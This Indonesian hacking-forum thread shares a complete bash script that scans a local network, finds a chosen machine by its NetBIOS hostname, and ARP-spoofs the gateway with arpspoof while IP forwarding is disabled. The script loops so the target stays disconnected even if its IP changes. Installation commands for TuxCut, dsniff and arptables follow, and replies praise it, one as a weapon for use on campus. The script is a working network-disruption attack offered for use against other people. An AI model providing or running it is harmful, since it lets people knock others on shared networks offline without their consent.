Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Script Tambahan Buat Pengguna TuxCut
#1
assalamu'alaikum

karena tuxcut release terakhir masih belum bisa deteksi klo ip target berubah ubah..jadi klo target tau dia kena cut pasti merubah ipnya.

jadi sekarang kita dapetin hostnamenya jadi g masalah klo rubah Ipnya

Code:
#!/bin/bash icard=$(ip route list | grep "default" | cut -d " " -s -f 5) gwip=$(ip route list | grep "default" | cut -d" " -f3) if [ "$1" != "" ]; then sudo sysctl -w net.ipv4.ip_forward=0 else sudo sysctl -w net.ipv4.ip_forward=1 sudo killall arpspoof fi fileout=true fileout_path='./ips' echo "--- NEW SCAN STARTED ---" # Number of address blocks to ping at a time (only if nmap not installed) ipblocks=51 tmpfile=$(tempfile) echo "reading All LAN IP ..." # get local address ip_addr_str=$(ip route list|grep 'src') # Get device string self_ip_dev=$(echo $ip_addr_str|cut -d ' ' -f 3) # Get ip address self_ip_addr=$(echo $ip_addr_str|cut -d ' ' -f 9) # Get self mac address self_mac_addr=$(ifconfig ${self_ip_dev}|grep 'HWaddr'|cut -c 39-55) testinstalled() { # search path enviroment for file IFS=':' for p in $PATH do [[ -f ${p}/${1} ]]&&{ unset IFS return 0 } done unset IFS return 1 } pingit() { ping -n -c 1 -W 1 ${1}>/dev/null && echo ${1}>>${tmpfile} } pingall() { # ping all addresses in block # (much slower than nmap) ip_prefix=$(echo ${self_ip_addr}|cut -d '.' -f 1-3) for i in {1..254} do # Ip address to ping ip="${ip_prefix}.${i}" # ping in background pingit ${ip}& # Wait for all ping blocks to finish [[ $(( ${i}%${ipblocks} )) -eq 0 ]]&&{ echo -n '|' wait } done # wait for last batch of pings wait # remove progress line echo -en '\r' } # get online addresses and populate arp cache if $(testinstalled nmap);then nmap -n -sP -oG ${tmpfile} "${self_ip_addr}/24">/dev/null ip_list=$(grep 'Status: Up' ${tmpfile}|cut -d ' ' -f 2) else pingall ip_list=$(sort ${tmpfile}) fi # remove output file $fileout && [[ -f $fileout_path ]] && rm ${fileout_path} echo "reading hostname and mac address ..." # find mac address of online machines for i in $ip_list do if [ ${i} == ${self_ip_addr} ];then # Already got mac address for local machine mac=$self_mac_addr whois="localhost" tmp="" else # Use arp cache to get mac address arpstr=$(arp -n ${i}|grep ${i}) mac=${arpstr:33:17} host=$(nmblookup -A ${i}|grep -w "<20>") whois=${host:1:16} fi # Output table data1=${whois:0:${#1}} if [ "$1" == "$data1" ];then printf "${i}\t${mac}\t${whois}\tBlocked\n" ipfound=${i} break else printf "${i}\t${mac}\t${whois}\n" fi #$fileout && printf "${i}\t${mac}\n">>$fileout_path done # cleanup rm ${tmpfile} _key() { local kp ESC=$'\e' _KEY= read -d '' -sn1 _KEY case $_KEY in "$ESC") while read -d '' -sn1 -t1 kp do _KEY=$_KEY$kp case $kp in [a-zA-NP-Z~]) break;; esac done ;; esac printf -v "${1:-_KEY}" "%s" "$_KEY" } NOW=$(date +"%r") echo "END SCAN ON $NOW -> Press Any Key to Restart ..." #result=$(sudo arpspoof -i $icard -t $gwip $ipfound & >/dev/null | grep -w "$ipfound") echo "Result $result" sudo arpspoof -i $icard -t $gwip $ipfound & >/dev/null #_key x sleep 15 sudo sysctl -w net.ipv4.ip_forward=1 sudo killall arpspoof clear bash scanlan.sh $1 kill $$

waktu diatas adalah 15 second (sleep 15)

kita save dengan nama scanlan.sh
rubah permission agar bisa di eksekusi
Code:
chmod +x scanlan.sh

cara menjalankan
Code:
./scanlan.sh nama_hostname(nama_pc)

screenshot
[Image: Screenshotcopy.png]

tetapi sebelumnya kita harus ada tuxcut

download tuxcut
Code:
# wget http://bitbucket.org/a_atalla/tuxcut/downloads/TuxCut-3.2_all.deb

install arp-scan
Code:
# apt-get install arp-scan

install dsniff
Code:
# apt-get install dsniff

Install arptables
Code:
# wget http://biznetnetworks.dl.sourceforge.net/project/ebtables/arptables/arptables-v0.0.3/arptables-v0.0.3-3.tar.gz # tar zxf arptables-v0.0.3-3.tar.gz # cd arptables-v0.0.3-3 # make && make install

install tuxcut
Code:
# sudo dpkg -i TuxCut-3.2_all.deb

jika masih terdapat error karena library yang masih kurang, bisa dicoba command berikut:
Code:
# apt-get install -f

referensi: kaskus.us

wassalamu'alaikum
Reply
#2
nice info gan....layak coba ne....Mantab

untuk senjata di kampus Ngakak
_____________________________________________
[Image: 34dq4gm.png]
Reply
#3
ini untuk Linux ya kang ?? Bingung

oh iya ..

nice share .. :D
Reply
#4
(07-31-2010, 09:09 PM)luthfi_dc Wrote: install arp-scan
Code:
# apt-get arp-scan

cuma menambah kan
ini yg diatas salah, yg betulnya gini.

Quote:# apt-get install arp-scan
sekian, semoga sukses Bigsmile
Dunia Mimpi, Semua Nyata
Reply
#5
keren ew...
tp sayang linux ye...???
kerjanya kayak netcut yach kk ?
Facebook : mhiman@hacker-newbie.org
Reply
#6
ada ilmu tapi gak bisa d aplikasikan....

hikz hikz Tolong2

* Jahat pengguna win...
[Image: hn-1.gif]
Reply
#7
(08-01-2010, 03:20 AM)Jahat Wrote: ada ilmu tapi gak bisa d aplikasikan....

hikz hikz Tolong2

* Jahat pengguna win...

di coba ala virtual aja dulu mas...
atau live usbkan linuxnya Bigsmile
Dunia Mimpi, Semua Nyata
Reply
#8
lansung praktek
nice share kk luthfi
Reply
#9
Tuxcut buat fedora ada gak ya???

keren juga nih Mantab
Reply
#10
ada kk...coba tanya ma kk MAE aja
ane liat di fedoranya ada tux cut juga
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [Belajar vi] Buat program buat program sederhana aandoni 4 74 11-22-2011, 11:50 PM
Last Post: genbu
  Backtrack 5 to Backtrack 5 R1 update script c0d3HitLER 11 200 09-16-2011, 09:05 AM
Last Post: linuxeruciha
Smile-pink_16 shipit.ubuntu & shipit.kubuntu buat yang pingin cd linux gratis keda 11 114 06-19-2011, 12:02 PM
Last Post: captain_force
  (Ask)Script anti DDOS Mikrotik sky_oot 0 33 04-02-2011, 01:56 PM
Last Post: sky_oot
  Nautilus script untuk convert video ke mp3 y3d0wn 4 29 10-17-2010, 09:31 AM
Last Post: schoot
  nyari driver printer buat linux???? coba disini. attactvirus 8 105 07-20-2010, 11:50 AM
Last Post: mhiman
  Script Linux Trojan T-Blash 11 114 06-11-2010, 02:15 AM
Last Post: b4tt054y
  Share tools backtrack 4 buat pengguna ubuntu. elsetherock 11 170 06-07-2010, 02:34 PM
Last Post: crash_burn
  buat master linux angelblood 30 209 04-28-2010, 05:27 PM
Last Post: sxired
  Aplikasi buat linux akatsuchi 11 136 02-11-2010, 01:29 AM
Last Post: homeless36

Forum Jump:


Users browsing this thread: 1 Guest(s)